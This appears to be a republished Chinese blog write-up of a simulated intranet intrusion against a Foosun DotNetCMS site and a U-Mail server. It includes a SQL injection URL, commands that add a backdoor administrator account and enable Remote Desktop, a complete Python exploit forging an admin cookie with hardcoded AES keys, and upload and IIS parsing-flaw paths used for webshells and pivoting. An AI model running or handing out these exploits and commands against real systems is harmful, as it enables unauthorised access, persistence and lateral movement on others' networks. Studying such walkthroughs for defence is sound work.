记录一次【模仿真实环境】的内网漫游
?
?
?
一階段、
信息收集:
通過NMAP進行端口掃描 發現網站開放了80,443,700,8080端口
80端口下存在web服務 :Foosun DotNetCMS 2.0? 網站為IIS搭建的aspx站? 服務器操作系統為win2008
8080端口下存在路由登錄界面
?
二、web滲透、
瀏覽網站發現網站使用了FoosunCMS
?
尋找相關漏洞
www.text.com/user/City_ajax.aspx?CityId=1
處存在sql注入
?
?
http://192.168.31.55/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,U
serNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
?
?
Table: fs_sys_admin
?
[1 entry]
?
+--------------+
?
| UserNum ?????|
?
+--------------+
?
| 327142054961 |
?
+--------------+
?
這里只跑出來了一個uerrnumber沒有我們想要的后臺賬號和密碼
但是發現這個注入又寫入權限
不過? ?并不知道絕對路徑
然后我們利用--os-shell發現交互了一個shell并且是系統權限
?
開啟3389 并建立一個用戶成功了
并且我們獲得權限的主機IP為192.168.1.123
網關為192.168.1.1
?
?
?
?
net user szg 123456 /add & net localgroup administrators szg /add
?
?
?
?
?
?
?
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
?
?
?
?
?
?
?
?接下來我們利用網上爆出的漏洞利用該usernum生成一個cookie
腳本如下:
#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword: ##
##inurl:/manage/Login.aspx ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()
def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#寫入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()
def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return None
def pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_text
def generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"
?###這里python運行該腳本需要加載一個模塊忘了叫啥了提示的時候百度一下那個名字然后 pip? install??
接下來利用谷歌瀏覽器的
EditThisCookie插件利用該cookie登陸后臺
成功登陸到后臺
?
?
?
上傳一句話之后發現鏈接上了一句話顯示200卻沒有回顯
?
但是利用reGeorg掛了個代理成功了
?
?
這時候我們拿到了代理權限并且添加了管理員賬戶(這里具體請看我的另一篇文章https://www.cnblogs.com/xiaoyunxiaogang/p/10939485.html)
這時候就可以連接3389了
在遠程連接的主機192.168.1.123中
翻到了管理員記錄的密碼
?
?
接下來利用獲得的密碼試著登陸8080端口一下發現限制了IP
利用代理繼續登陸
?
?掛代理之后成功登陸
?
三、內網漫游、
?
這里我們在路由中發現了另一個網段
?
?
如果沒有進行Vlan的劃分那么我們的192.168.1.123就可以ping通172.19.23.123
接下來掃描端口并訪問172.19.23.123下的網站
?
?
?
利用之前3389連接遠程珠桌面獲得的密碼進行登陸
?
?
同樣利用u-mail的漏洞進行滲透
該漏洞的上傳路徑為http://172.19.23.123/webmail/client/cache/userid/重命名序號
?
?
http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk
?
構造上傳頁面調用上傳接口
?
?
?
?
?利用iis的解析漏洞+/1.php訪問(????不是ngix解析漏洞嗎??? 不 !IIS也可以)
http://172.19.23.123/webmail/client/cache/3/15598087978.jpg/1.php
?
?
?
轉載于:https://www.cnblogs.com/xiaoyunxiaogang/p/10994590.html
總結
以上是生活随笔為你收集整理的记录一次【模仿真实环境】的内网漫游的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: JS设计模式—节流模式的实际应用
- 下一篇: SpringCloud(一):深入理解E